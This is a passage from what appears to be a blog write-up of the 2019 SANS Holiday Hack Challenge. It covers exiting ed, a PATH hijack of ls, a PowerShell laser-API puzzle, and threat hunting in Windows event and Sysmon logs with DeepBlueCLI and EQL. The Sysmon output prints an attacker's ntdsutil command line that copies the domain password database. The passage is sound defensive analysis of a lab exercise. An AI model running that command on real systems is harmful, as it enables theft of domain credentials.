<span class="gp"> .cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;</span>ooooo,
<span class="gp"> coooooooooooooo,,,,,,,,,;</span>ooooooooooooooloooooc,,,<span class="p">;</span>ooo,
<span class="gp"> coooooooooooooo,,,,,,,,,;</span>ooooooooooooooloooooc,,,<span class="p">;</span>l<span class="s1">'
</span><span class="gp"> coooooooooooooo,,,,,,,,,;</span><span class="s1">ooooooooooooooloooooc,,..
</span><span class="gp"> coooooooooooooo,,,,,,,,,;</span><span class="s1">ooooooooooooooloooooc.
</span><span class="gp"> coooooooooooooo,,,,,,,,,;</span><span class="s1">ooooooooooooooloooo:.
</span><span class="gp"> coooooooooooooo,,,,,,,,,;</span><span class="s1">ooooooooooooooloo;
</span><span class="gp"> :llllllllllllll,'''''''';</span><span class="s1">llllllllllllllc,
</span><span class="go">Oh, many UNIX tools grow old, but this one's showing gray.
That Pepper LOLs and rolls her eyes, sends mocking looks my way.
I need to exit, run - get out! - and celebrate the yule.
Your challenge is to help this elf escape this blasted tool.
-Bushy Evergreen
Exit ed.
1110
</span></code></pre></div></div>
<p>Alright, so it seems for this terminal challenge we need to simply exit ed. If we google around for an answer we come across a website on how to exit <a href="http://www.climagic.org/txt/how-to-quit-vi-emacs-nano-pico-joe-jed-etc.dyn">certain editors</a>.</p>
<p>So simply if we type in <code class="language-plaintext highlighter-rouge">Q</code> and press <code class="language-plaintext highlighter-rouge">[ENTER]</code> then we should be able to exit the editor.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Q
Loading, please wait......
You did it! Congratulations!
</span><span class="gp">elf@428cacd2b42e:~$</span><span class="w">
</span></code></pre></div></div>
<p>Nice that was easy!</p>
<h3 id="windows-log-analysis-evaluate-attack-outcome">Windows Log Analysis: Evaluate Attack Outcome</h3>
<p>Upon completing the Escape Ed terminal we can talk to Bushy again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-15.png"><img src="/images/hh19-15.png" /></a></p>
<p>For this objective, we need to use <a href="https://downloads.elfu.org/Security.evtx.zip">the event log data</a> to identify the user account that was compromised via a password spray attack.</p>
<p>Looking at the URL for the file download, I see that it has an <strong>evtx</strong> extension, which is for <a href="https://www.sans.org/reading-room/whitepapers/logging/evtx-windows-event-logging-32949">Windows Event Logging</a>.</p>
<p>Since this is Windows, let’s download that file in a Windows VM, extract it, and validate the file format.</p>
<p align="center"><a href="/images/hh19-16.png"><img src="/images/hh19-16.png" /></a></p>
<p>Awesome, so now that we have the file, we need to analyze the log data somehow. Bushy actually gave us a hint for <a href="https://www.ericconrad.com/2016/09/deepbluecli-powershell-module-for-hunt.html">Eric Conrad on DeepBlueCLI</a>.</p>
<p>Upon accessing the GitHub repository for DeepBlueCLI we learn that is a PowerShell Module for Threat Hunting via Windows Event Logs, so that works great for us!</p>
<p>Let’s go ahead and download that repository to our Windows VM.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\Users\User\Desktop\Holiday Hack\Security.evtx\DeepBlueCLI\DeepBlueCLI-master></span><span class="w"> </span><span class="nb">ls</span>
<span class="go">
Directory: C:\Users\User\Desktop\Holiday Hack\Security.evtx\DeepBlueCLI\DeepBlueCLI-master
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/22/2019 1:25 PM evtx
d----- 12/22/2019 1:25 PM hashes
d----- 12/22/2019 1:25 PM READMEs
d----- 12/22/2019 1:25 PM whitelists
-a---- 7/24/2019 2:01 PM 15 .gitattributes
-a---- 7/24/2019 2:01 PM 33848 DeepBlue.ps1
-a---- 7/24/2019 2:01 PM 4827 DeepBlue.py
-a---- 7/24/2019 2:01 PM 2781 DeepWhite-checker.ps1
-a---- 7/24/2019 2:01 PM 1689 DeepWhite-collector.ps1
-a---- 7/24/2019 2:01 PM 35141 LICENSE
-a---- 7/24/2019 2:01 PM 5891 README.md
-a---- 7/24/2019 2:01 PM 1673 regexes.txt
-a---- 7/24/2019 2:01 PM 352 whitelist.txt
</span></code></pre></div></div>
<p>Once we have the tool installed we need to figure out how to utilize the tool to detected a <a href="https://www.coalfire.com/The-Coalfire-Blog/March-2019/Password-Spraying-What-to-Do-and-How-to-Avoid-It">password spraying</a> attack.</p>
<p>Luckily for us, we if scroll through the DeepBlueCLI wiki, we come across an examples table, showing us what command we can run and what event it detects. There we spot the password spraying command we need.</p>
<p align="center"><a href="/images/hh19-17.png"><img src="/images/hh19-17.png" /></a></p>
<p>So, let’s execute that command against our event log file, and after a few minutes we should see the following data:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\Users\User\Desktop\Holiday Hack\Security.evtx\DeepBlueCLI\DeepBlueCLI-master></span><span class="w"> </span>.<span class="se">\D</span>eepBlue.ps1 ..<span class="se">\.</span>.<span class="se">\S</span>ecurity.evtx
<span class="go">
Date : 11/19/2019 6:22:46 AM
Log : Security
EventID : 4648
Message : Distributed Account Explicit Credential Use (Password Spray Attack)
Results : The use of multiple user account access attempts with explicit credentials is an indicator of a password
spray attack.
Target Usernames: ygoldentrifle esparklesleigh hevergreen Administrator sgreenbells cjinglebuns
tcandybaubles bbrandyleaves bevergreen lstripyleaves gchocolatewine wopenslae ltrufflefig supatree
mstripysleigh pbrandyberry civysparkles sscarletpie ftwinklestockings cstripyfluff gcandyfluff smullingfluff
hcandysnaps mbrandybells twinterfig civypears ygreenpie ftinseltoes smary ttinselbubbles dsparkleleaves
Accessing Username: -
Accessing Host Name: -
Command :
Decoded :
Date : 11/19/2019 6:22:40 AM
Log : Security
EventID : 4648
Message : Distributed Account Explicit Credential Use (Password Spray Attack)
Results : The use of multiple user account access attempts with explicit credentials is an indicator of a password
spray attack.
Target Usernames: ygoldentrifle esparklesleigh hevergreen Administrator sgreenbells cjinglebuns
tcandybaubles bbrandyleaves bevergreen lstripyleaves gchocolatewine ltrufflefig wopenslae mstripysleigh
pbrandyberry civysparkles sscarletpie ftwinklestockings cstripyfluff gcandyfluff smullingfluff hcandysnaps
mbrandybells twinterfig supatree civypears ygreenpie ftinseltoes smary ttinselbubbles dsparkleleaves
Accessing Username: -
Accessing Host Name: -
Command :
Decoded :
Date : 11/19/2019 6:22:34 AM
Log : Security
EventID : 4648
Message : Distributed Account Explicit Credential Use (Password Spray Attack)
Results : The use of multiple user account access attempts with explicit credentials is an indicator of a password
spray attack.
Target Usernames: ygoldentrifle esparklesleigh Administrator sgreenbells cjinglebuns tcandybaubles
bbrandyleaves bevergreen lstripyleaves gchocolatewine wopenslae ltrufflefig supatree mstripysleigh
pbrandyberry civysparkles sscarletpie ftwinklestockings cstripyfluff gcandyfluff smullingfluff hcandysnaps
mbrandybells twinterfig smary civypears ygreenpie ftinseltoes hevergreen ttinselbubbles dsparkleleaves
Accessing Username: -
Accessing Host Name: -
---snip---
</span></code></pre></div></div>
<p>We see a lot of <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4648">4648 Event ID’s</a> which dictates that “A logon was attempted using explicit credentials”. If we scroll down a little lower, we see other logon events, but this time we see the <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4672">4672 Event ID</a>. This event lets you know whenever an account assigned any “administrator equivalent” user rights logs on.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Date : 8/23/2019 7:00:20 PM
Log : Security
EventID : 4672
Message : Multiple admin logons for one account
</span><span class="gp">Results : Username: DC1$</span><span class="w">
</span><span class="go"> User SID Access Count: 12
Command :
Decoded :
Date : 8/23/2019 7:00:20 PM
Log : Security
EventID : 4672
Message : Multiple admin logons for one account
Results : Username: supatree
User SID Access Count: 2
Command :
Decoded :
Date : 8/23/2019 7:00:20 PM
Log : Security
EventID : 4672
Message : High number of logon failures for one account
Results : Username: ygoldentrifle
Total logon failures: 77
Command :
Decoded :
</span></code></pre></div></div>
<p>Between all the failure logins for the accounts that were being password sprayed only <code class="language-plaintext highlighter-rouge">supatree</code> was in the list of accounts that had multiple admin logins. So that was the compromised account.</p>
<p>So we enter <strong>supatree</strong> into our objective, to complete it.</p>
<p align="center"><a href="/images/hh19-18.png"><img src="/images/hh19-18.png" /></a></p>
<h2 id="objective-4">Objective 4</h2>
<h3 id="linux-path---cranpi">Linux Path - CranPi</h3>
<p>From the train station, we go into the Quad, and take a left into Hermey Hall where we will find SugarPlum Mary.</p>
<p align="center"><a href="/images/hh19-19.png"><img src="/images/hh19-19.png" /></a></p>
<p>Talking to SugarPlum we figure out what the challenge consists of, and of course we also get a couple of hints to help in completing the CranPi challenge.</p>
<p align="center"><a href="/images/hh19-20.png"><img src="/images/hh19-20.png" /></a></p>
<p>It seems that Mary has a problem with running <code class="language-plaintext highlighter-rouge">ls</code> which is used to list files… hmm. Upon accessing the terminal we see the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">K000K000K000KK0KKKKKXKKKXKKKXKXXXXXNXXXX0kOKKKK0KXKKKKKKK0KKK0KK0KK0KK0KK0KK0KKKKKK
00K000KK0KKKKKKKKKXKKKXKKXXXXXXXXNXXNNXXooNOXKKXKKXKKKXKKKKKKKKKK0KKKKK0KK0KK0KKKKK
KKKKKKKKKKKXKKXXKXXXXXXXXXXXXXNXNNNNNNK0x:xoxOXXXKKXXKXXKKXKKKKKKKKKKKKKKKKKKKKKKKK
K000KK00KKKKKKKKXXKKXXXXNXXXNXXNNXNNNNNWk.ddkkXXXXXKKXKKXKKXKKXKKXKKXK0KK0KK0KKKKKK
00KKKKKKKKKXKKXXKXXXXXNXXXNXXNNNNNNNNWXXk,ldkOKKKXXXXKXKKXKKXKKXKKKKKKKKKK0KK0KK0XK
</span><span class="gp">KKKXKKKXXKXXXXXNXXXNXXNNXNNNNNNNNNXkddk0No,;</span><span class="p">;</span>:oKNK0OkOKXXKXKKXKKKKKKKKKKKKK0KK0KKKX
<span class="gp">0KK0KKKKKXKKKXXKXNXXXNXXNNXNNNNXxl;</span>o0NNNo,,,<span class="p">;;;;</span>KWWWN0dlk0XXKKXKKXKKXKKKKKKKKKKKKKK
<span class="gp">KKKKKKKKXKXXXKXXXXXNXXNNXNNNN0o;</span><span class="p">;</span>lKNNXXl,,,,,,,,cNNNNNNKc<span class="p">;</span>oOXKKXKKXKKXKKXKKKKKKKKKK
<span class="gp">XKKKXKXXXXXXNXXNNXNNNNNNNNN0l;</span>,cONNXNXc<span class="s1">',,,,,,,,,KXXXXXNNl,;oKXKKXKKKKKK0KKKKK0KKKX
</span><span class="gp">KKKKKKXKKXXKKXNXXNNXNNNNNXl;</span><span class="s1">,:OKXXXNXc'''</span>,,<span class="s1">''''',KKKKKKXXK,,;:OXKKXKKXKKX0KK0KK0KKK
</span><span class="gp">KKKKKKKKXKXXXXXNNXXNNNNW0:;</span><span class="s1">,dXXXXXNK:'''''''''''</span>cKKKKKKKXX<span class="p">;</span>,,,<span class="p">;</span>0XKKXKKXKKXKKK0KK0KK
<span class="gp">XXKXXXXXXXXXXNNNNNNNNNN0;</span><span class="p">;;</span>ONXXXXNO,<span class="s1">''''''''''''</span>x0KKKKKKXK,<span class="s1">',,,cXXKKKKKKKKXKKK0KKKX
</span><span class="gp">KKKKKKKXKKXXXXNNNNWNNNN:;</span><span class="s1">:KNNXXXXO,'</span>.<span class="s1">'..'</span>.<span class="s1">''</span>..<span class="s1">':O00KKKKKXd'',,,,KKXKKXKKKKKKKKKKKKK
</span><span class="gp">KKKKKXKKXXXXXXXXNNXNNNx;</span><span class="s1">cXNXXXXKk,'''</span>.<span class="s1">''</span>.<span class="s1">''''</span>.,xO00KKKKKO,<span class="s1">''</span>,,,,KK0XKKXKKK0KKKKKKKK
<span class="gp">XXXXXXXXXKXXXXXXXNNNNNo;</span>0NXXXKKO,<span class="s1">'''''''.'</span>.<span class="s1">'.;dkOO0KKKK0;.'',,,,XXXKKK0KK0KKKKKKKKX
</span><span class="go">XKKXXKXXXXXXXXXXXNNNNNcoNNXXKKO,''''.'......:dxkOOO000k,..''',,lNXKXKKXKKK0KKKXKKKK
</span><span class="gp">KXXKKXXXKXXKXXXXXXXNNNoONNXXX0;</span><span class="s1">'''''''''..'</span>lkkkkkkxxxd<span class="s1">'...'''',0N0KKKKKXKKKKKK0XKKK
</span><span class="gp">XXXXXKKXXKXXXXXXXXXXXXOONNNXXl,,;</span><span class="s1">;,;;;;;;;d0K00Okddoc,,,,,,,,,xNNOXKKKKKXKKKKKKKXKK
</span><span class="gp">XXXXXXXXXXXXXXXXXXXXXXXONNNXx;</span><span class="s1">;;;;;;;;,,:xO0KK0Oxdoc,,,,,,,,,oNN0KXXKKXKKXKKKKKKKXK
</span><span class="gp">XKXXKXXXXXXXXXXXXXXXXXXXXWNX:;</span><span class="s1">;;;;;;;;,cO0KKKK0Okxl,,,,,,,,,oNNK0NXXXXXXXXXKKKKKKKX
</span><span class="gp">XXXXXXXXXXXXXXXXXXXXXXXNNNWNc;</span><span class="s1">;:;;;;;;xKXXXXXXKK0x,,,,,,,,,dXNK0NXXXXXXXXXXXKKXKKKK
</span><span class="gp">XKXXXXXXXXXXXXXXXXXXXXNNWWNWd;</span><span class="s1">:::;;;:0NNNNNNNNNXO;,,,,,,,:0NN0XNXNXXXXXXXXXXXKKXKKX
</span><span class="gp">NXXXXXXXXXXXXXXXXXXXXXNNNNNNNl:::;</span><span class="s1">;:KNNNNNNNNNNO;,,,,,,;xNNK0NXNXXNXXXXXXKXXKKKKXKK
</span><span class="gp">XXNNXNNNXXXXXXXXXXXXXNNNNNNNNNkl:;</span><span class="s1">;xWWNNNNNWWWk;;;;;;;xNNKKXNXNXXNXXXXXXXXXXXKXKKXK
</span><span class="gp">XXXXXNNNNXNNNNXXXXXXNNNNNNNNNNNNKkolKNNNNNNNNx;</span><span class="s1">;;;;lkNNXNNNNXXXNXXNXXXXXXXXXXXKKKKX
</span><span class="go">XXXXXXXXXXXNNNNNNNNNNNNNNNNNNNNNNNNNKXNNNNWNo:clxOXNNNNNNNNXNXXXXXXXXXXXXXXXKKXKKKK
XXXXNXXXNXXXNXXNNNNNWWWWWNNNNNNNNNNNNNNNNNWWNWWNWNNWNNNNNNNNXXXXXXNXXXXXXXXXXKKXKKX
XNXXXXNNXXNXXNNXNXNWWWWWWWWWNNNNNNNNNNNNNWWWWNNNNNNNNNNNNNNNNNNNNNXNXXXXNXXXXXXKXKK
XXXXNXXNNXXXNXXNXXNWWWNNNNNNNNNWWNNNNNNNNWWWWWWNWNNNNNNNNNNNNNNNXXNXNXXXXNXXXXKXKXK
I need to list files in my home/
To check on project logos
But what I see with ls there,
Are quotes from desert hobos...
which piece of my command does fail?
I surely cannot find it.
Make straight my path and locate that-
I'll praise your skill and sharp wit!
Get a listing (ls) of your current directory.
</span><span class="gp">elf@5309d6e61bc9:~$</span><span class="w">
</span></code></pre></div></div>
<p>Alright so the challenge seems pretty simple, we need to get a listing of the current directory by using the <a href="http://linuxcommand.org/lc3_man_pages/ls1.html">ls</a> command. Let’s see what happens we do try to execute <code class="language-plaintext highlighter-rouge">ls</code>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">This isn't the ls you're looking for
</span></code></pre></div></div>
<p>Alright, well that seems to be executing another binary. If you remember back to the questions Mary asked, in #3 she asked “<strong>What happens if there are multiple executable with the same name in the $PATH?</strong>”.</p>
<p>For those unaware what a unix path is, a <strong>PATH</strong> is an <em>environmental variable</em> that Linux and other Unix-like operating systems use to tell the shell which directories to search for <a href="http://www.linfo.org/executable.html">executable files</a> in response to commands issued by the user.</p>
<p>A users <strong>PATH</strong> consists of a series of colon-separated absolute paths that are stored in plain text files. Whenever a user types in a command at the command line that is not built into the shell or that does not include its absolute path, and then presses the Enter key, the shell searches through those directories. The shell will continue to look though all these paths until it finds an executable file with the same name as the command execute.</p>
<p>So knowing that, let’s <a href="[http://linuxcommand.org/lc3_man_pages/echoh.html](http://linuxcommand.org/lc3_man_pages/echoh.html)">echo</a> then <strong>$PATH</strong> environmental variables to see our search path.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span><span class="nb">echo</span> <span class="nv">$PATH</span>
<span class="go">/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
</span></code></pre></div></div>
<p>Okay, that seems pretty normal to me. Let’s try to find out where the <code class="language-plaintext highlighter-rouge">ls</code> binary is actually stored. We can do this by using the <a href="https://linux.die.net/man/1/whereis">whereis</a> command.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span>whereis <span class="nb">ls</span>
<span class="go">ls: /bin/ls /usr/local/bin/ls /usr/share/man/man1/ls.1.gz
</span></code></pre></div></div>
<p>Right, so we can see that there are two (2) <code class="language-plaintext highlighter-rouge">ls</code> binaries, one in <code class="language-plaintext highlighter-rouge">/bin/ls</code> and one in <code class="language-plaintext highlighter-rouge">/usr/local/bin/ls</code>. Let’s execute each relative path to find the right one.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span>/usr/local/bin/ls
<span class="go">This isn't the ls you're looking for
</span><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span>/bin/ls
<span class="go">' ' rejected-elfu-logos.txt
Loading, please wait......
You did it! Congratulations!
</span></code></pre></div></div>
<p>Alright awesome, we found that the <code class="language-plaintext highlighter-rouge">/bin/ls</code> binary is the proper one. So I know that we completed the challenge, but let’s go ahead and fix our <strong>$PATH</strong> variable so it uses the right binary, and finally we can cat that rejected logo ;).</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span><span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/game"</span>
<span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">' ' rejected-elfu-logos.txt
</span><span class="gp">elf@5309d6e61bc9:~$</span><span class="w"> </span><span class="nb">cat </span>rejected-elfu-logos.txt
<span class="go"> _
/ \
\_/
/ \
/ \
/ |
/ |
/ \
_/_________|_
(____________)
Get Elfed at ElfU!
()
|\__/------\
\__________/
Walk a Mile in an elf's shoes
Take a course at ElfU!
____\()/____
| || |
| || |
|====||====|
| || |
| || |
------------
Be present in class
</span></code></pre></div></div>
<p>And there we have it, we completed the terminal challenge!</p>
<h3 id="windows-log-analysis-determine-attacker-technique">Windows Log Analysis: Determine Attacker Technique</h3>
<p>Upon successfully completing the Linux Path terminal, we can talk to SugarPlum Mary again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-21.png"><img src="/images/hh19-21.png" /></a></p>
<p>For this objective, we need to identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process, by using <a href="https://downloads.elfu.org/sysmon-data.json.zip">these normalized Sysmon logs</a>.</p>
<p>Upon downloading the Sysmon logs, we can see that all this data is in a JSON file format.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sysmon-data#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> sysmon-data.json
<span class="go">-rwx------ 1 root root 1886009 Dec 5 15:41 sysmon-data.json
</span></code></pre></div></div>
<p>So we need to find the tool that was used to dump the passwords, but we’re not really sure how we can parse the Sysmon JSON logs in linux. If we look back to the hints provided by SugarPlum Mary, we get hints on <a href="https://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon">Sysmon By Carlos Perez</a>, <a href="https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/">EQL Threat Hunting</a>, as well as a hint to check out some of <a href="https://www.endgame.com/our-experts/ross-wolf">Ross Wolf</a>’s work on EQL.</p>
<p>After some reading we learn about the <a href="https://github.com/endgameinc/eql">EQL Tool</a> released by EndGame. The <a href="https://github.com/endgameinc/eqllib"><em>Event Query Language</em> (EQL)</a> is a standardized query language (similar to SQL) to evaluate Windows events. The tools main purpose is to normalize Windows log events for consistent access and querying.</p>
<p>Cool, so reading information from the GitHub repository, let’s go ahead and install EQL.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sysmon-data#</span><span class="w"> </span>pip3 <span class="nb">install </span>eql
</code></pre></div></div>
<p>Now that we have the tool installed, we need to figure out how to use it. After reading the <a href="https://pen-testing.sans.org/blog/2019/12/10/eql-threat-hunting/">EQL Threat Hunting</a> post, we come across a great example of the usage.</p>
<p align="center"><a href="/images/hh19-22.png"><img src="/images/hh19-22.png" /></a></p>
<p>We are also provided an example command for how to look for <code class="language-plaintext highlighter-rouge">regserv32.exe</code> with EQL.</p>
<pre><code class="language-command">slingshot $ eql query -f querydata.json "process where process_name = 'regsvr32.exe'"
</code></pre>
<p>By using the <a href="https://eql.readthedocs.io/en/latest/query-guide/index.html">EQL Query Guide</a> and using all the previously listed materials, we learn how to import our JSON data into EQL, and also learn how to search for specific schema’s and the data they contain.</p>
<p>With this, let’s load our data, and see what we can search for inside the process schema.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sysmon-data#</span><span class="w"> </span>eql
<span class="go">===================
EQL SHELL
===================
type help to view more commands
</span><span class="gp">eql></span><span class="w"> </span>input sysmon-data.json
<span class="go">Using file sysmon-data.json with 2626 events
</span><span class="gp">eql></span><span class="w"> </span>schema process
<span class="go">---snip---
'process': {'command_line': 'string',
'event_type': 'string',
'logon_id': 'number',
'parent_process_name': 'string',
'parent_process_path': 'string',
'pid': 'number',
'ppid': 'number',
'process_name': 'string',
'process_path': 'string',
'subtype': 'string',
'timestamp': 'number',
'unique_pid': 'string',
'unique_ppid': 'string',
'user': 'string',
'user_domain': 'string',
'user_name': 'string'},
---snip---
</span></code></pre></div></div>
<p>Alright, so we know what type of information we can search for relating to process data. Since we know that the <a href="https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service">LSASS</a> process was dumped via the <code class="language-plaintext highlighter-rouge">lsass.exe</code> executable, let’s search for that specific name in the <code class="language-plaintext highlighter-rouge">command_line</code> as the attacker could have used <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">ProcDump</a>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sysmon-data#</span><span class="w"> </span>eql query <span class="nt">-f</span> sysmon-data.json <span class="s2">"process where command_line == '*lsass.exe*'"</span>
</code></pre></div></div>
<p>Hmm.. no data was returned. Maybe attacker used something else? It’s highly possible, that an attacker had privileged access to a Windows Domain Controller and used <a href="https://ss64.com/nt/ntdsutil.html">ntdsutil</a> to create an accessible backup of the domains password hashes. So let’s see if that was true!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sysmon-data#</span><span class="w"> </span>eql query <span class="nt">-f</span> sysmon-data.json <span class="s2">"process where command_line == '*ntds*'"</span> | jq
<span class="go">{
"command_line": "ntdsutil.exe \"ac i ntds\" ifm \"create full c:\\hive\" q q",
"event_type": "process",
"logon_id": 999,
"parent_process_name": "cmd.exe",
"parent_process_path": "C:\\Windows\\System32\\cmd.exe",
"pid": 3556,
"ppid": 3440,
"process_name": "ntdsutil.exe",
"process_path": "C:\\Windows\\System32\\ntdsutil.exe",
"subtype": "create",
"timestamp": 132186398470300000,
"unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
"unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
"user": "NT AUTHORITY\\SYSTEM",
"user_domain": "NT AUTHORITY",
"user_name": "SYSTEM"
}
</span></code></pre></div></div>
<p>And there we have it, <code class="language-plaintext highlighter-rouge">ntdsutil</code> was actually used!</p>
<p>From here, we can navigate to the fourth objective in our badge and enter “<strong>ntdsutil</strong>” to complete the objective.</p>
<p align="center"><a href="/images/hh19-23.png"><img src="/images/hh19-23.png" /></a></p>
<h2 id="objective-5">Objective 5</h2>
<h3 id="xmas-cheer-laser---cranpi">Xmas Cheer Laser - CranPi</h3>
<p>From SugarPlum Mary in Hermy Hall, we go left and enter the Laboratory. There we will meet Sparkle Redberry!</p>
<p align="center"><a href="/images/hh19-24.png"><img src="/images/hh19-24.png" /></a></p>
<p>Upon talking with Sparkle, we learn that she is having an issue with her laser - which seems to consist of settings in PowerShell.</p>
<p align="center"><a href="/images/hh19-25.png"><img src="/images/hh19-25.png" /></a></p>
<p>Upon accessing the terminal we are presented with the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">WARNGING: ctrl + c restricted in this terminal - Do not use endless loops
Type exit to exit PowerShell.
PowerShell 6.2.3
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
🗲 🗲
🗲 Elf University Student Research Terminal - Christmas Cheer Laser Project 🗲
🗲 ------------------------------------------------------------------------------ 🗲
🗲 The research department at Elf University is currently working on a top-secret 🗲
🗲 Laser which shoots laser beams of Christmas cheer at a range of hundreds of 🗲
🗲 miles. The student research team was successfully able to tweak the laser to 🗲
🗲 JUST the right settings to achieve 5 Mega-Jollies per liter of laser output. 🗲
🗲 Unfortunately, someone broke into the research terminal, changed the laser 🗲
🗲 settings through the Web API and left a note behind at /home/callingcard.txt. 🗲
🗲 Read the calling card and follow the clues to find the correct laser Settings. 🗲
🗲 Apply these correct settings to the laser using it's Web API to achieve laser 🗲
🗲 output of 5 Mega-Jollies per liter. 🗲
🗲 🗲
🗲 Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info. 🗲
🗲 🗲
🗲🗲🗲🗲🗲🗲🗲🗲
</span></code></pre></div></div>
<p>After reading the information in the terminal we learn that we need to recalibrate the laser and tweak the settings to achieve 5 Mega-Jollies per liter of laser output. We also initially learn that someone left a note behind at <code class="language-plaintext highlighter-rouge">/home/callingcard.txt</code> with information on what they might have done to mess with the laser.</p>
<p>We also learn that by executing <code class="language-plaintext highlighter-rouge">(Invoke-WebRequest -Uri http://localhost:1225/).RawContent</code> we can see the settings and access the Web API to tune the laser… so let’s do just that!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="nt">-Uri</span> http://localhost:1225/<span class="o">)</span>.RawContent
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Sat, 14 Dec 2019 23:43:06 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 860
</span><span class="gp"><html></span><span class="w">
</span><span class="gp"><body></span><span class="w">
</span><span class="gp"><pre></span><span class="w">
</span><span class="go">----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10
Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</span><span class="gp"></pre></span><span class="w">
</span><span class="gp"></body></span><span class="w">
</span><span class="gp"></html></span><span class="w">
</span></code></pre></div></div>
<p>Alright, awesome! So we can see all the API endpoints that we can use to tune the laser and see the current power level. Let’s check the current laser output by calling the <code class="language-plaintext highlighter-rouge">/api/output</code> endpoint.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="nt">-Uri</span> http://localhost:1225/api/output<span class="o">)</span>.RawContent
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Sat, 14 Dec 2019 23:44:26 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 58
Failure - Only 3.36 Mega-Jollies of Laser Output Reached!
</span></code></pre></div></div>
<p>Hmm… so we only have 3.36 Mega-Jollies of laser output. Let’s read that <code class="language-plaintext highlighter-rouge">callingcard.txt</code> file and see if it won’t help us in fixing this mess!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /home/callingcard.txt
<span class="go">What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la
</span></code></pre></div></div>
